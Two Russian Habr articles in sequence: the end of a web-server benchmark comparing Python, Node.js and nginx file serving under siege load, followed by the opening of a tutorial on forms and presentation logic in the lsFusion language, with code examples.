[](https://habrastorage.org/getpro/habr/post_images/a28/3e7/cf0/a283e7cf0e3410451dc24231927a0f72.png)
##### Количество ответов
[](https://habrastorage.org/getpro/habr/post_images/637/8e5/1f8/6378e51f877192f412fcd4b724ec52e9.png)
##### Время ответа (в миллисекундах)
[](https://habrastorage.org/getpro/habr/post_images/b9f/36d/428/b9f36d4285c72be301cfb9541e18c911.png)
##### Количество ошибок
[](https://habrastorage.org/getpro/habr/post_images/a61/7a4/2a3/a617a42a3bc2a4b4ec909de5e4dd8a81.png)
У меня есть подозрения, что и 30 000 запросов он бы смог обработать, но мне надо было двигаться дальше, поэтому я не смог в этом убедиться. Вообще я к этому моменту уже знал, что буду использовать Python для своего проекта, так что фреймворки на других языках мне нужны были просто для сравнения.
#### 3. Files / Siege / Intel Core i7-4770 Quad-Core Haswell, 32 GB DDR3 RAM
Как я писал выше, я не бываю доволен своей работой полностью, поэтому я лёг спать с чувством выполненного долга, а проснулся с мыслью «нужно больше тестов!». Отдавать строку текста на каждый запрос это конечно хорошо, но это не единственная функция веб-сервера, значит будем раздавать файлы.
Для этого теста я использовал 10 VPS, что бы создать необходимую нагрузку. Экспериментальным путём я выяснил, что на 1 VPS DigitalOcean, в среднем, выделен канал 100Mbps. Сервер у меня был с каналом 1Gbps и мне надо было его полностью нагрузить. Файлами для раздачи послужили изображения с интернет-магазина в количестве 10 000 штук, разных размеров. Для создания нагрузки я использовал утилиту [siege](http://www.joedog.org/siege-home/) со следующими параметрами:
`siege -i -f fileslist.txt -c 55 -b -t1M`
В filelist.txt хранится список файлов, устанавливается 55 соединений и через них мы начинаем долбить сервер запросами в течение 1-й минуты. Файлы при этом выбираются случайным образом из списка fileslist.txt. Опредёленно стоит учесть, что тест этот запускается на 10 машинах одновременно, а значит мы устанавливаем **не 55, а 550** одновременных соединений. Более того, эту опцию я постоянно менял от 5 до 55 с шагом в 5, увеличивая тем самым нагрузку на сервер, и устанавливая от 50 до 550 одновременных соединений.
Вот что получаем (**по оси Х – количество одновременных соединений**):
##### Количество выполненных запросов
[](https://habrastorage.org/getpro/habr/post_images/7ae/0ae/015/7ae0ae0156aff2f4e7bfa363bb0798d1.png)
##### Количество обработанных запросов в секунду
[](https://habrastorage.org/getpro/habr/post_images/78a/366/a97/78a366a97dffa7ce64da289ce76874c9.png)
##### Нагрузка на процессор (в %)
[](https://habrastorage.org/getpro/habr/post_images/63a/67c/52d/63a67c52d04e5ed07f65c324658054fd.png)
##### Потребление оперативной памяти (в % от 32Gb)
[](https://habrastorage.org/getpro/habr/post_images/9b7/d7f/a5d/9b7d7fa5d040e3ad19b5df8a2ca56af7.png)
##### Нагрузка на канал связи (мегабайт в секунду)
[](https://habrastorage.org/getpro/habr/post_images/a0e/68d/68a/a0e68d68a45241252ccd19b9b98a2615.png)
##### Среднее время ответа на запрос (в секундах)
[](https://habrastorage.org/getpro/habr/post_images/aff/6ec/3c4/aff6ec3c42e37e6d2bb2c5236ec31004.png)
В этом тесте я добавил потребление оперативной памяти, а также веб-сервер nginx для сравнения. Здесь узким местом является канал связи, причём 1-го ядра достаточно для того, что бы весь этот канал в 1Gbps загрузить.
**Результаты** (в скобках количество обработанных запросов без ошибок):
1. Nignx (*100175*)
2. Eventlet (*97925*)
3. Gevent (*96918*)
4. Express.js (*96162*)
5. Twisted (*85733*)
6. Tornado (*83241*)
#### 4. GridFS / Siege / Intel Core i7-4770 Quad-Core Haswell, 32 GB DDR3 RAM
На этом можно было завершать статью, но я хотел использовать MongoDB GridFS в своём проекте, поэтому решил посмотреть, как изменится производительность с её использованием. Данный тест аналогичен 3-му, за исключением того, что все изображения в количестве 10 000 штук я залил в MongoDB и переписал веб-серверы так, что бы они раздавали файлы из базы. Итак, что мы получаем:
##### Количество выполненных запросов
[](https://habrastorage.org/getpro/habr/post_images/c25/2fd/1fe/c252fd1fecdd0fb6a0b4e923141e8114.png)
##### Количество обработанных запросов в секунду
[](https://habrastorage.org/getpro/habr/post_images/d45/448/b2d/d45448b2d596b55db211684cb5aefe5f.png)
##### Нагрузка на процессор (в %)
[](https://habrastorage.org/getpro/habr/post_images/aee/6fe/7ac/aee6fe7ace0424f03fefd1ca48ff31c4.png)
##### Потребление оперативной памяти (в % от 32Gb)
[](https://habrastorage.org/getpro/habr/post_images/3d2/7d1/1f5/3d27d11f529ac460dc9aa6edfe7b2f86.png)
##### Нагрузка на канал связи (мегабайт в секунду)
[](https://habrastorage.org/getpro/habr/post_images/1d8/233/763/1d8233763b3ad55418987843076f55f0.png)
##### Среднее время ответа на запрос (в секундах)
[](https://habrastorage.org/getpro/habr/post_images/4dd/fcc/ee6/4ddfccee651929d23f19e96ba4ce6143.png)
##### Количество ошибок
[](https://habrastorage.org/getpro/habr/post_images/43c/868/c81/43c868c81a86155fe6af18aa4b5a283e.png)
Во время теста у Gevent были ответы с ошибками, поэтому я добавил график «Количество ошибок». В целом GridFS вполне можно использовать, но стоит учитывать, что сама база создаёт немалую нагрузку на CPU, а у меня было 7 свободных ядер в её распоряжении, когда с файловой системой все гораздо проще.
**Результаты** (в скобках количество обработанных запросов без ошибок):
1. Express.js (*88714*)
2. Gevent (*86182*)
#### Выводы
* MacBook Pro Retina действительно отрабатывает 9 часов на одном заряде.
* Node.js не единственный инструмент, как считают некоторые, для разработки сетевых приложений.
* Gevent выдаёт очень хорошую производительность.
* Оформление статьи занимает больше времени, чем её написание.
* Тестирование производительности сложный процесс, который занимает много времени.
Если серьёзно, все зависит от условий, при которых будет работать ваш проект. Можно провести огромное число тестов, но когда сервис будет написан, все скорее всего будет совсем по другому. Например, при увеличении числа картинок с 10 000 до 1 000 000 узким местом уже становится производительность жёсткого диска, а не канал связи.
##### Материалы
Если вы решите провести собственное тестирование или более подробно изучить моё, то этот список вам должен помочь.
###### Отчёты
Полные отчёты с индивидуальными графиками и цифрами можно скачать по этим ссылкам:
1. [Text / Httperf / VPS 1 CPU, 512Mb RAM](https://www.icloud.com/iw/#numbers/BAKNBVTnuYuniqMEfZGByvMcrTQqNykdo5iF/HTTP_Server_Benchmark_(Httperf___Text%2C_VPS))
2. [Text / Httperf / Intel Core i7-4770 Quad-Core Haswell, 32 GB DDR3 RAM](https://www.icloud.com/iw/#numbers/BALvmA0rhqhO-RLVNAmBKmy4_JEN4blpypiF/HTTP_Server_Benchmark_(i7%2C_32Gb___Text___Httperf))
3. [Files / Siege / Intel Core i7-4770 Quad-Core Haswell, 32 GB DDR3 RAM](https://www.icloud.com/iw/#numbers/BAL7Hfsa1NeG0eb9MM-BL2tJ9f37okrX4piF/HTTP_Server_Benchmark_(Files___Siege))
4. [GridFS / Siege / Intel Core i7-4770 Quad-Core Haswell, 32 GB DDR3 RAM](https://www.icloud.com/iw/#numbers/BALNi9LZf7mOU9igXA6BKCcFVpIl4mjsn5mF/HTTP_Server_Benchmark_(GridFS___Siege))
###### Иструменты
В своих тестах я использовал:
* [httperf](http://www.hpl.hp.com/research/linux/httperf/)
* [autobench](http://www.xenoclast.org/autobench/)
* [siege](http://www.joedog.org/siege-home/)
###### Фреймворки
В тестах принимали участие:
* [Gevent](http://www.gevent.org) (код [текстового](https://gist.github.com/vkozlovski/fccd9cc128f6e8c20b6b), [файлового](https://gist.github.com/vkozlovski/fefe145cbaac8717cf59), [GridFS](https://gist.github.com/vkozlovski/ff23e2d642b01a369a0d) сервера)
* [Express.js](http://expressjs.com) (код [текстового](https://gist.github.com/vkozlovski/774f18f4e2675087392a), [файлового](https://gist.github.com/vkozlovski/d14afdfcf9ee1f9fd356), [GridFS](https://gist.github.com/vkozlovski/6ceecbd20c7f410f2b42) сервера)
* [Eventlet](http://eventlet.net) (код [текстового](https://gist.github.com/vkozlovski/e8dc35621fb69e342453), [файлового](https://gist.github.com/vkozlovski/7b2edeb749b1e9990000) сервера)
* [Tornado](http://www.tornadoweb.org) (код [текстового](https://gist.github.com/vkozlovski/b82ec28f308ba0047d3d), [файлового](https://gist.github.com/vkozlovski/d95fa5299501af8be46b) сервера)
* [Eventmachine](http://rubyeventmachine.com) (код [текстового](https://gist.github.com/vkozlovski/aa01ca67326091feef9c) сервера)
* [Twisted](https://twistedmatrix.com) (код [текстового](https://gist.github.com/vkozlovski/2f342ea915e794497293), [файлового](https://gist.github.com/vkozlovski/1eabebbf6e05619f815d) сервера)
Всем спасибо за внимание.
[Подписывайтесь на меня в Twitter](https://twitter.com/vkozlovski), я рассказываю о работе в стартапе, своих ошибках и правильных решениях, о python и всём, что касается веб-разработки.
P.S. *Я ищу разработчиков в компанию, подробности у меня [в профиле](http://habrahabr.ru/users/vladkozlovski/).* | https://habr.com/ru/post/228455/ | null | ru | null |
# Не очередной язык программирования. Часть 2: Логика представлений
Вторая часть трилогии о языке и платформе lsFusion. Первую часть можно найти [тут](https://habr.com/ru/company/lsfusion/blog/458376/).
В ней речь пойдет о логике представлений, а именно обо всем том, что связано с объединением данных и отображением их пользователю или другим информационным системам.
Понятно, что многим, возможно, не так интересно смотреть на презентацию бойца, и им хотелось бы увидеть реальный бой, по возможности с кровью (и она будет, благо обсуждение предыдущих статей помогло лучше понять незащищенные места потенциальных конкурентов и куда именно там надо бить). Но тут необходимо учитывать две вещи:
а) это Хабр. То есть технический ресурс, здесь не любят красивые картинки и рекламные лозунги – чтобы что-то заявлять, нужны подробности, как ты собираешься этого достичь.
б) это рынок разработки информационных систем, и он очень похож на рынок средств для похудения. Тут все заявляют, что у нас быстро и просто. Но когда дело доходит до деталей, в которых, как известно, и кроется дьявол, в качестве примеров приводят или простейшие CRUD’ы или прибегают к различным уловкам: показывают какие-то обрывки кода, а основную его часть прячут со словами «это не важно», «делается за пару минут» и все в таком роде.
Собственно, поэтому у нас было два варианта: либо начать с преимуществ и риска получить упреки в маркетинг-bullshit, либо начать с технического описания и вопросов «зачем нам еще один язык». Теоретически, конечно, все это можно было сделать в одной статье, но такую статью тяжело было бы не то что прочитать, а даже просто пролистать. Соответственно, мы выбрали второй вариант, хотя если кому-то все же важно узнать про причины появления и преимущества языка прямо сейчас (а не в будущих статьях), добро пожаловать на [сайт](https://lsfusion.org). Он состоит из всего трех страниц: что, как и почему не, и дает, на мой взгляд, вполне достаточно информации для ответов на все эти вопросы. Плюс там же можно попробовать платформу [онлайн](https://lsfusion.org/try), в том числе, чтобы убедиться, что никакого «рояля в кустах» там нет, и код из примеров в этой статье – это реально весь код, необходимый для запуска приложения.
Но хватит лирических отступлений, вернемся к ~~презентации бойца~~ описанию логики представлений.
Как и в логике предметной области (первой статье), все понятия логики представлений в lsFusion образуют стек:
и именно в порядке этого стека я буду про них рассказывать.
**Оглавление*** [Формы](#form)
+ [Структура формы](#structure)
- [Объекты](#object)
- [Свойства и действия](#property)
- [Объект отображения](#draw)
- [Фильтры и сортировки](#filter)
- [Группы объектов](#groupobject)
- [Группы свойств](#propertygroup)
- [Объекты-в-колонки](#objectcolumn)
+ [Представления формы](#view)
- [Интерактивное представление](#interactive)
* [Деревья объектов](#tree)
* [Управление формой пользователем](#user)
* [Операторы работы с объектами](#edit)
* [Дизайн формы](#design)
* [Дизайн формы 2.0 (React)](#design2)
* [События формы](#event)
* [Операторы формы](#operator)
- [Статичные представления](#static)
* [Печатное представление](#print)
+ [Дизайн отчета](#designprint)
* [Структурированное представление](#struct)
+ [Иерархические форматы](#hierarchy)
+ [Плоские форматы](#plain)
+ [Открытие формы](#open)
- [В интерактивном представлении (SHOW, DIALOG)](#ointeractive)
- [В печатном представлении (PRINT)](#oprint)
- [В структурированном представлении (EXPORT, IMPORT)](#ostruct)
* [Навигатор](#navigator)
+ [Дизайн навигатора](#designnavigator)
Формы
-----
Форма – это самое главное (и на самом деле практически единственное) понятие в логике представлений, которое отвечает за все – как за взаимодействие с пользователем, так и за печать, экспорт и импорт данных.
Форму логически можно разделить на две части:
* Структура формы определяет, какие данные показывает форма.
* Представление формы определяет, в каком виде она эти данные показывает.
Структура формы
---------------
Начнем, естественно, со структуры формы.
### Объекты
При создании формы первоначально необходимо определить, какие объекты она будет отображать. Тут стоит отметить, что дальше может быть небольшая путаница в терминологии между объектами формы и объектами, которые отображаются в этих объектах формы. Поэтому в дальнейшем, если это будет не очевидно из контекста, будем использовать термины «объекты формы» (для первого случая) и «объекты в базе» (для второго).
Для каждого объекта формы нужно задать его класс. Этот класс может быть как примитивным (встроенным), так и объектным (пользовательским).
| |
| --- |
| `FORM currentBalances 'Текущие остатки'
OBJECTS s = Stock, i = Item *// сверху склад, снизу товар*
;` |
В соответствии с порядком добавления объектов на форму образуется упорядоченный список объектов. Соответственно, последним объектом для некоторого множества объектов будем называть объект из этого множества с максимальным порядковым номером в этом списке (то есть максимально поздний).
Каждый объект на форме в любой момент времени имеет текущее значение. Его изменение происходит в зависимости от представления, либо в результате соответствующих действий пользователя в интерактивном представлении, либо «виртуально» в процессе чтения данных в статичном представлении.
### Свойства и действия
После определения объектов на форму можно добавить свойства и действия, подставив описанные выше объекты им на вход в качестве аргументов.
Отметим, что добавление действий актуально только для интерактивного представления, в отчетах и экспортах они игнорируются. Также, учитывая, что поведение свойств и действий с точки зрения их отображения на форме абсолютно одинаково, в дальнейшем будем использовать только термин свойство (для действий поведение абсолютно аналогично).
### Объект отображения
Каждое свойство отображается ровно в одном объекте на форме (будем называть его объектом отображения этого свойства). По умолчанию объектом отображения является объект, последний для множества объектов, которые передаются на вход этому свойству. Например, если у нас есть форма текущих остатков с двумя объектами – складом и товаром, и тремя свойствами – именами склада и товара и остатком товара на складе:
| |
| --- |
| `FORM currentBalances 'Текущие остатки'
OBJECTS s = Stock, i = Item *// сверху склад, снизу товар*
PROPERTIES name(s), name(i), currentBalance(s, i)
;` |
То для имени склада объектом отображения будет s (склад), а для имени товара и остатка – i (товар).
Впрочем, при необходимости разработчик может задавать объект отображения явно (то есть, к примеру, в интерактивном представлении показать свойство с остатком в таблице складов, а не товаров).
### Фильтры и сортировки
Для каждой формы разработчик может задать фильтры и порядки, которые будут ограничивать список доступных к просмотру / выбору объектов на форме, а также порядок их отображения.
Для задания фильтра необходимо указать свойство, которое будет использоваться в качестве критерия фильтрации. Фильтр будет применяться к таблице того объекта, который является последним для множества объектов, передаваемых на вход этому свойству (то есть аналогично с определением объекта отображения свойства). При этом будут показаны только те наборы объектов (ряды), для которых значения свойства не равняются NULL. Например, если мы добавим в форму выше фильтр currentBalance(s,i) OR isActive(i):
| |
| --- |
| `FORM currentBalances 'Текущие остатки'
OBJECTS s = Stock, i = Item *// сверху склад, снизу товар*
PROPERTIES name(s), name(i), currentBalance(s, i)
FILTERS currentBalance(s, i) OR isActive(i)
;` |
**Скриншот формы**
то при отображении товаров будут показываться только товары, которые есть на остатке или помечены как активные.
Сортировки задаются как список свойств на форме, в порядке которых надо показывать объекты. В остальном все аналогично фильтрам.
### Группы объектов
В платформе также существует возможность объединять объекты в *группу объектов*. В этом случае в таблицах / списках будет показываться «декартово произведение» этих объектов (то есть для двух объектов – все пары, трех объектов – тройки и т.п.).
| |
| --- |
| `FORM currentBalances 'Текущие остатки'
OBJECTS (s = Stock, i = Item) *// будет одна таблица из складов и товаров*
PROPERTIES name(s), name(i), currentBalance(s, i)
FILTERS currentBalance(s, i) OR isActive(i)
;` |
**Скриншот формы**
Соответственно, практически везде как до, так и после, вместо одиночных объектов формы можно использовать группы объектов.
Собственно, в документации так и сделано: везде используется более общий термин «группа объектов», но чтобы в этой статье все не усложнять (а группы объектов, состоящие из нескольких объектов, используются значительно реже), было решено про группы объектов забыть и считать, что группа объектов всегда состоит ровно из одного объекта и, соответственно, использовать везде термин «объект» вместо более сложных «группа объектов» и «набор объектов».
### Группы свойств
Свойства на форме, как и объекты, также можно объединять в группы, которые, в свою очередь, используются в интерактивном (дизайне по умолчанию) и иерархическом представлениях формы (о них чуть позже). По умолчанию привязка свойства к группе глобальна (то есть задается для свойства для всех форм сразу), однако, при необходимости, для отдельных форм эту привязку можно переопределить.
### Объекты-в-колонки
По умолчанию свойство отображается в своем объекте отображения ровно один раз. При этом в качестве значений объектов, отличных от объекта отображения этого свойства (назовем их верхними), используются их текущие значения. Однако в платформе также существует возможность отображать одно свойство несколько раз таким образом, чтобы в качестве значений некоторых верхних объектов использовались не их текущие значения, а все объекты в базе, подходящие под фильтры. При таком отображении свойства образуется своего рода «матрица» – (объект отображения) x (верхние объекты). Соответственно, чтобы создать такую матрицу, необходимо при добавлении свойства на форму указать, какие именно верхние объекты необходимо использовать для создания колонок (будем называть эти объекты объектами-в-колонки).
| |
| --- |
| `FORM currentBalances 'Текущие остатки'
*// так как по складу нет ни одного свойства где он является объектом отображения,*
*// его таблица показываться не будет*
OBJECTS s = Stock, i = Item
*// покажет имя товара и все активные склады в колонки с именами этих складов*
PROPERTIES name(i), currentBalance(s, i) COLUMNS (s) HEADER name(s)
FILTERS isActive(i), isActive(s)
;` |
**Скриншот формы**
Итак, с тем, что отображает форма, более-менее разобрались, перейдем к тому, как она это может делать.
Представления формы
-------------------
Существует три представления формы:
**Скриншоты представлений**Интерактивное:
Печатное:
Структурированное:
* Интерактивное. Представление, с которым пользователь может взаимодействовать – изменять данные и текущие объекты путем инициирования различных событий. Собственно, это представление обычно и принято называть формой.
* Печатное. Обычно принято называть отчетом – выгрузка всех данных формы и представление их в графическом виде. В том числе с возможностью вывода их на печать (откуда и получило свое название).
* Структурированное – представление формы в различных структурированных форматах (JSON, XML, DBF и т.п.). Как правило используется для дальнейшей интеграции с другими системами.
Интерактивное и печатное представления являются графическими, то есть отображают полученные данные в двухмерном пространстве: бумаге или экране устройства. Соответственно, каждое из этих представлений имеет дизайн, который, в зависимости от конкретного представления, можно задать при помощи соответствующих механизмов (о них немного позже).
Печатное и структурированное представление являются статичными, то есть читают сразу все данные на момент открытия формы (в противовес интерактивному, которое читает данные по мере их необходимости).
Описание представлений начнем, пожалуй, с самого сложного – интерактивного представления.
Интерактивное представление
---------------------------
В интерактивном представлении объекты формы отображаются в виде таблицы. Ряды в этой таблице соответствуют объектам в базе, удовлетворяющим заданным фильтрам, колонки, в свою очередь, соответствуют свойствам.
Впрочем, при необходимости, свойство можно отображать не в виде колонки таблицы, то есть для всех ее рядов, а в виде отдельного поля на форме, то есть только для текущего значения объекта формы. Например:
| |
| --- |
| `currentBalance 'Текущий остаток' (Stock s) = GROUP SUM currentBalance(s, Item i);
FORM currentBalances 'Текущие остатки'
OBJECTS s = Stock, i = Item
*// currentBalance(s) отобразиться в панели, только для текущего склада*
PROPERTIES name(s), currentBalance(s) PANEL,
name(i), currentBalance(s, i)
FILTERS currentBalance(s, i)
;` |
**Скриншот формы**
Изменение текущего значения объекта формы происходит либо в результате изменения пользователем текущего ряда таблицы, либо в результате выполнения действия, созданного при помощи специального оператора поиска (SEEK).
Отметим, что способ отображения свойства в панели или таблице, как правило, задается не для каждого свойства в отдельности, а целиком для объекта формы. Соответственно, если объект формы помечен как PANEL, то все его свойства отображаются в панели (то есть для текущего значения), в противном случае (по умолчанию) все его свойства отображаются в таблице. Свойства без параметров и действия по умолчанию отображаются в панели.
Все таблицы в интерактивном представлении по умолчанию являются динамическими, то есть читается только ограниченное число объектов в базе, а остальные дочитываются по мере изменения текущего объекта в таблице. Количество отображаемых объектов при этом может как определяться автоматически на основании высоты видимой части таблицы, так и задаваться разработчиком явно при создании формы.
Также форма в интерактивном представлении полностью реактивна, то есть автоматически обновляет все данные на форме при изменении любых данных, которые на них влияют (такой React, только в общем случае). Плюс все это делается не полным перерасчетом (как в том же React), а инкрементально, причем на SQL сервере.
Вообще забавно, когда при сравнении с другими технологиями пытаешься включить верхние три требования в задачу, люди часто делают круглые глаза, как будто их просят запустить человека в космос. Хотя невыполнение второго требования любым нормальным пользователем будет классифицировано как баг, а первое и третье требование – это то, что разработанная форма заработает нормально, когда в базе появится хоть немного данных (несколько десятков тысяч записей, например).
Интерактивное представление поддерживается как в режиме веб-клиента (то есть веб-приложения в браузере), так и в режиме десктоп-клиента (Java-приложения). Десктоп-клиент, как и любой нативный клиент, обладает немного лучшей отзывчивостью интерфейса, но что самое главное позволяет работать с оборудованием, а также выполнять другие операции, недоступные в браузере (в основном из-за проблем с безопасностью).
### Деревья объектов
Помимо таблиц платформа также позволяет организовывать отображение объектов в виде деревьев, как плоских («вложенных» друг в друга таблиц), так и рекурсивных (например, «вложенных» друг в друга объектов в базе).
Плоские деревья, по сути, являются обобщением таблиц, когда в одну таблицу «объединяется» сразу несколько таблиц:
| |
| --- |
| `FORM currentBalances 'Текущие остатки'
TREE tree s = Stock, i = Item
*// имя склада отобразиться над именем товара*
*// а остаток склада отобразиться над остатком по товару на складе*
PROPERTIES name(s), currentBalance(s),
name(i), currentBalance(s, i)
;` |
**Скриншот формы**
Это относительно сложный механизм и на практике используется достаточно редко, поэтому подробно на нем останавливаться не будем.
А вот рекурсивные деревья, наоборот, используются достаточно часто (например, для реализации классификаторов). Чтобы отобразить объект формы в виде такого дерева, для него необходимо задать дополнительный фильтр – свойство, значение которого для нижних объектов должно равняться верхнему объекту. Первоначально считается, что верхний объект равен NULL.
| |
| --- |
| `parent = DATA ItemGroup (ItemGroup) IN base;
group = DATA ItemGroup (Item) IN base;
*// определяем вложенность групп*
level 'Уровень' (ItemGroup child, ItemGroup parent) = RECURSION 1 AND child IS ItemGroup AND parent = child STEP 1 IF parent = parent($parent);
currentBalance 'Текущий остаток' (ItemGroup ig, Stock s) = GROUP SUM currentBalance(s, Item i) IF level(ig, group(i));
FORM currentBalances 'Остатки по группам'
OBJECTS s=Stock PANEL *// выбранный склад*
PROPERTIES (s) name
TREE tree ig = ItemGroup PARENT parent, i = Item *// дерево по группам товаров / товарам*
PROPERTIES name(ig), currentBalance(ig, s)
PROPERTIES name(i), currentBalance(s, i)
FILTERS group(i) = ig
;` |
**Скриншот формы**
### Управление формой пользователем
Для обеспечения лучшей эргономики системы (в том числе чтобы не создавать формы под каждый чих) часть операций по настройке интерактивного представления формы могут выполнять сами пользователи. Например, такими операциями являются:
* настройка таблиц (видимые колонки, порядок, фонты и т.п.),
* создание пользовательских фильтров и сортировок,
* группировка данных по значениям колонок,
* печать таблицы и выгрузка ее в Excel.
Также разработчик может создавать так называемые группы фильтров, которые пользователь может включать / выключать самостоятельно. Например:
| |
| --- |
| `EXTEND FORM currentBalances *// расширяем ранее созданную форму с остатками*
FILTERGROUP stockActive *// создаем группу фильтров с одним фильтрам, которая будет показываться в виде флажка, по которому пользователь сможет включать/отключать фильтр*
FILTER 'Активные' active(st) 'F11' *// добавляем отбор по только активным складам, который будет применяться по нажатию клавиши F11*
FILTERGROUP bal
FILTER 'С положительным остатком' currentBalance(st, sk) > 0 'F10'
FILTER 'С отрицательными остатком' currentBalance(st, sk) < 0 'F9'
FILTER 'С остатком' currentBalance(st, sk) 'F8' DEFAULT
FILTER 'Без остатка' NOT currentBalance(st, sk) 'F7'
;` |
Это далеко не все возможности по настройке системы пользователем, но к остальным возможностям вернемся уже в третьей статье, так как большинство из них все же не имеют прямого отношения к логике представлений.
Отметим, что описанный выше функционал относится скорее к функционалу ERP-платформ, что уже совсем диссонирует с заголовком статьи. С другой стороны, как упоминалось в первой статье, в перспективе язык / платформа претендует на замену, в том числе и этого класса платформ, поэтому совсем не упомянуть эти возможности, на мой взгляд, было бы неправильно.
### Операторы работы с объектами
Одним из наиболее частых сценариев работы с формой является добавление / удаление объекта, а также редактирование его в новой форме. Для реализации таких сценариев в платформе существует предопределенный набор операторов, которые позволяют создавать нужные действия одним словом прямо в операторе создания формы:
* NEW – создание объекта
* EDIT – редактирование объекта
* NEWEDIT – создание и редактирование объекта
* DELETE – удаление объекта
Также, так как очень часто возникает необходимость выполнить эти действия в новой сессии (если нужно отделить действия создания объектов от действий на форме, из которой эти объекты создаются), в платформе поддерживается соответствующий синтаксический сахар – опции NEWSESSION и NESTEDSESSION, которые работают аналогично одноименным операторам создания действий, но, как и сами операторы работы с объектами, не требуют от разработчика создания и именования новых действий. Например:
| |
| --- |
| `FORM teams
OBJECTS t=Team
*// создает / удаляет команду и открывает форму редактирования в новой сессии*
PROPERTIES (t) NEWSESSION NEW, EDIT, DELETE
OBJECTS p=Player
FILTERS team(p)=t
*// создает удаляет игрока прямо в таблице в этой же сессии*
PROPERTIES (p) NEW, DELETE
;` |
По умолчанию при редактировании объекта вызывается форма редактирования, автоматически сгенерированная для класса переданного объекта формы. Однако часто необходимо эту форму переопределить (например, добавить дополнительную информацию, изменить дизайн и т.п.) Для того чтобы сделать это, достаточно создать необходимую форму редактирования и указать, что она является формой по умолчанию для редактирования объектов заданного класса:
| |
| --- |
| `FORM order 'Заказ'
OBJECTS o = Order PANEL
PROPERTIES(o) date, number
OBJECTS d = OrderDetail
PROPERTIES(d) nameBook, quantity, price, NEW, DELETE
FILTERS order(d) = o
EDIT Order OBJECT o
;` |
Аналогичным образом переопределяются формы выбора объектов заданного класса.
### Дизайн формы
Как и в большинстве существующих GUI, дизайн интерактивного представления формы представляет собой иерархию, узлами которой являются компоненты. Компонентами, в свою очередь, могут быть:
* контейнеры – компоненты, которые содержат в себе другие компоненты.
* базовые компоненты – графические представления базовых элементов: таблицы, панели свойств, групп фильтров и т.п.
Механизм расположения компонент внутри контейнеров по сути повторяет [CSS Flexible Box Layout](https://www.w3.org/TR/css-flexbox-1/) (а в веб-клиенте при помощи него и реализуется), поэтому сильно подробно останавливаться на этом механизме не будем.
Отметим, что дизайн формы обычно не создают с нуля (так как это довольно трудоемко). Как правило, дизайн формы создается автоматически на основе структуры формы, а далее разработчик лишь немного изменяет его: к примеру, добавляет новый контейнер, и переносит в него существующие компоненты:
**Пример дизайна формы по умолчанию**
| |
| --- |
| `FORM myForm 'myForm'
OBJECTS myObject = myClass
PROPERTIES(myObject) myProperty1, myProperty2 PANEL
FILTERGROUP myFilter
FILTER 'myFilter' myProperty1(myObject)
;` |
Иерархия контейнеров и компонентов в дизайне по умолчанию будет выглядеть следующим образом:
| |
| --- |
| `FORM myForm 'Моя форма'
OBJECTS u = CustomUser
PROPERTIES(u) name, NEW, DELETE
OBJECTS c = Chat
PROPERTIES(c) message, NEW, DELETE
FILTERS user(c) = u
;
DESIGN myForm {
NEW middle FIRST {
type = CONTAINERH;
fill = 1; *// растягиваем во все стороны*
MOVE BOX(u);
MOVE BOX(c);
}
}` |
**Скриншот формы**
### Дизайн формы 2.0 (React)
Посмотрев на интерактивные представления форм в приведенных выше скриншотах (или, к примеру, в онлайн-демо), можно заметить, что текущий дизайн форм в пользовательском интерфейсе, скажем так, весьма аскетичный. Это, конечно, никогда не было особой проблемой для информационных систем, где основными пользователями являются сотрудники или партнеры компании, владеющей этими информационными системами. Тем более что, несмотря на аскетичность, текущий механизм дизайна формы позволяет реализовывать весьма непростые случаи, например, POS:
**Скриншот формы**
Но если речь заходит, скажем, о SaaS B2B или тем более B2C (например, какие-нибудь интернет-банкинги), то тут сразу начинают появляться вопросы, как сделать дизайн более эргономичным.
На текущем этапе для решения этой проблемы разработана специальная [javascript-библиотека](https://www.npmjs.com/~lsfusion), основная задача которой – создание и обновление специального js-объекта, содержащего данные формы. Соответственно, этот объект можно использовать в качестве state для React компоненты и тем самым создавать любой дизайн и любую дополнительную интерактивность разрабатываемой формы. Например:
[Пример формы на React (на codesandbox)](https://codesandbox.io/s/1y0o894rx4)
Или более сложный пример – с выпадающими списками и использованием для этого REST (а точнее Stateless) API:
[Пример формы на React с выпадающими списками (на codesandbox)](https://codesandbox.io/s/vibrant-tharp-trcqt)
Правда, проблема такого подхода в том, что формы из примеров выше не будут встроены ни в общий интерфейс платформы, ни в общий control flow действий. Поэтому одной из самых ближайших задач в разработке платформы является перевод механизма дизайна формы на схему используемую в дизайне отчета (печатного представления):
* Платформа автоматически генерирует react-дизайн на основе структуры формы как в примере выше.
* При необходимости разработчик может его сохранить и отредактировать как захочет. Соответственно, далее платформа при открытии формы будет использовать именно этот отредактированный дизайн.
Плюс, такой подход позволит генерировать в том числе React Native формы и тем самым позволит создавать нативные мобильные приложения. Хотя этот вопрос (с нативными мобильными приложениями) мы сильно глубоко пока не прорабатывали.
Правда, отметим, что и старый механизм дизайна тоже будет поддерживаться, так как, для тех же бизнес-приложений, он отлично выполняет свою функцию.
### События формы
События формы – второй ключевой механизм после событий предметной области, который отвечает за определение моментов, когда надо выполнять действия.
В платформе существует целый набор различных событий формы, возникающих в результате тех или иных действий пользователя, но в этой статье рассмотрим только одно, самое часто используемое из них – событие CHANGE. Это событие возникает, когда пользователь инициировал изменение свойства / вызов действия, например, нажав на любую не системную клавишу на клавиатуре, находясь на поле изменяемого свойства, или кликнув на это поле мышкой.
Как и для событий предметной области, для событий формы можно задать обработку – действие, которое будет выполняться при наступлении заданного события. Отметим, что у большинства событий формы уже есть некоторые обработки по умолчанию, которые из коробки реализуют наиболее ожидаемое со стороны пользователя поведение (например, при вышеупомянутом событии CHANGE – запросить ввод у пользователя и изменить свойство на введенное значение). Впрочем, на практике иногда все же возникают ситуации, когда для некоторого события формы необходимо задать какую-то специфическую обработку, например:
| |
| --- |
| `changeQuantity (Order o, Book b) {
INPUT q = INTEGER DO { *// запрашиваем число*
IF lastOrderDetail(o, b) THEN { *// проверяем, есть ли хоть одна строка*
IF q THEN *// ввели число*
quantity(OrderDetail d) <- q IF d = lastOrderDetail(o, b) WHERE order(d) = o AND book(d) = b; *// записываем количество в последнюю строку с такой книгой*
ELSE *// сбросили число - удаляем строку*
DELETE OrderDetail d WHERE order(d) == o AND book(d) == b;
} ELSE
IF q THEN
NEW d = OrderDetail { *// создаем новую строку*
order(d) <- o;
book(d) <- b;
quantity(d) <- q;
}
}
}
EXTEND FORM order
OBJECTS b = Book
PROPERTIES name(b) READONLY, quantity(o, b) ON CHANGE changeQuantity(o, b)
;` |
